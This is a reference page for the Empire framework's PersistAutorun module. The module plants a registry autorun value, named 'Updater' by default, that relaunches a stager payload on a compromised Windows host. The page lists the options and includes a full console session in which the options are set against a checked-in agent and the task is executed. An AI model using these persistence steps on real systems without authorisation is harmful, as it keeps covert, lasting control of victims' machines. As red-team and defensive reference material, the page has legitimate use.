PersistAutorun - Empire Module


This page contains detailed information about how to use the csharp/SharpSploit.Persistence/PersistAutorun Empire module. For list of all Empire modules, visit the Empire Module Library.

Module Overview


Name: PersistAutorun
Module: csharp/SharpSploit.Persistence/PersistAutorun
Source code: empire/server/modules/csharp/SharpSploit.Persistence.Covenant.yaml#L370
Language: C#
Needs admin: No
OPSEC safe: No
Background: No

The PersistAutorun module installs an autorun value in HKCU or HKLM to execute a payload. TargetHive: Target hive to install autorun. Specify "CurrentUser" for HKCU and "LocalMachine" for HKLM. Value: Value to set in the registry. E.g. "C:\Example\GruntStager.exe" Name: Name for the registy value.E.g. "Updater".

This module runs in a foreground and is OPSEC unsafe as it writes on the disk and therefore could be detected by AV/EDR running on the target system.

Note that the PersistAutorun module does not need administrative privileges to work properly which means that a normal user can run this module.

Required Module Options


This is a list of options that are required by the PersistAutorun module:

Agent
Agent to run module on.

DotNetVersion
.NET version to compile against.
Default value: Net35.
Suggested values: Net35, Net40.

Name
Name for the registy value.
Default value: Updater.

TargetHive
Target hive to install autorun.
Default value: CurrentUser.

Value
Value to set in the registry.
Default value: C:\Example\GruntStager.exe.

PersistAutorun Example Usage


Here's an example of how to use the PersistAutorun module in the Empire client console:

[+] New agent Y4LHEV83 checked in
[*] Sending agent (stage 2) to Y4LHEV83 at 192.168.204.135
(empire usestager/windows/ducky) > usemodule csharp/SharpSploit.Persistence/PersistAutorun

 Author       _RastaMouse                                                            
 Background   False                                                                  
 Description  Installs an autorun value in HKCU or HKLM to execute a payload.        
              TargetHive: Target hive to install autorun. Specify "CurrentUser" for  
              HKCU and "LocalMachine" for HKLM.         Value: Value to set in the   
              registry. E.g. "C:\Example\GruntStager.exe"         Name: Name for the 
              registy value.E.g. "Updater".                                          
 Language     csharp                                                                 
 Name         csharp/SharpSploit.Persistence/PersistAutorun                          
 NeedsAdmin   False                                                                  
 OpsecSafe    False                                                                  


,Record Options-,----------------------------,----------,---------------------------------,
| Name          | Value                      | Required | Description                     |
|---------------|----------------------------|----------|---------------------------------|
| Agent         |                            | True     | Agent to run module on.         |
|---------------|----------------------------|----------|---------------------------------|
| DotNetVersion | Net35                      | True     | .NET version to compile against |
|---------------|----------------------------|----------|---------------------------------|
| Name          | Updater                    | True     | Name for the registy value.     |
|---------------|----------------------------|----------|---------------------------------|
| TargetHive    | CurrentUser                | True     | Target hive to install autorun. |
|---------------|----------------------------|----------|---------------------------------|
| Value         | C:\Example\GruntStager.exe | True     | Value to set in the registry.   |
'---------------'----------------------------'----------'---------------------------------'

(Empire: usemodule/csharp/SharpSploit.Persistence/PersistAutorun) > set Agent Y4LHEV83
[*] Set Agent to Y4LHEV83
(Empire: usemodule/csharp/SharpSploit.Persistence/PersistAutorun) > set DotNetVersion Net35
[*] Set DotNetVersion to Net35
(Empire: usemodule/csharp/SharpSploit.Persistence/PersistAutorun) > set Name Updater
[*] Set Name to Updater
(Empire: usemodule/csharp/SharpSploit.Persistence/PersistAutorun) > set TargetHive CurrentUser
[*] Set TargetHive to CurrentUser
(Empire: usemodule/csharp/SharpSploit.Persistence/PersistAutorun) > set Value C:\Example\GruntStager.exe
[*] Set Value to C:\Example\GruntStager.exe
(Empire: usemodule/csharp/SharpSploit.Persistence/PersistAutorun) > execute
[!] Error: csharpserver plugin not running

Note: This module requires csharpserver plugin to be running on our system. If this plugin is not running, the error message "[!] Error: csharp server plugin not running" is thrown on the console. To fix the error, start the csharpserver plugin and re-run the module:

(Empire: usemodule/csharp/SharpSploit.Persistence/PersistAutorun) > useplugin csharpserver

,Record Options--,----------,----------------------------------,
| Name   | Value | Required | Description                      |
|--------|-------|----------|----------------------------------|
| status | start | True     | Start/stop the Empire C# server. |
'--------'-------'----------'----------------------------------'

(Empire: useplugin/csharpserver) > execute
[*] Starting Empire C# server
(Empire: useplugin/csharpserver) > back
(Empire: usemodule/csharp/SharpSploit.Persistence/PersistAutorun) > execute
[*] Tasked Y4LHEV83 to run Task 1
...

Now wait for the results to come.

Author


  • _RastaMouse

References


See Also


Check also the following modules related to this module:

Version


This page has been created based on Empire version 4.1.3 (BC Security Fork).
Visit Empire Module Library for more modules.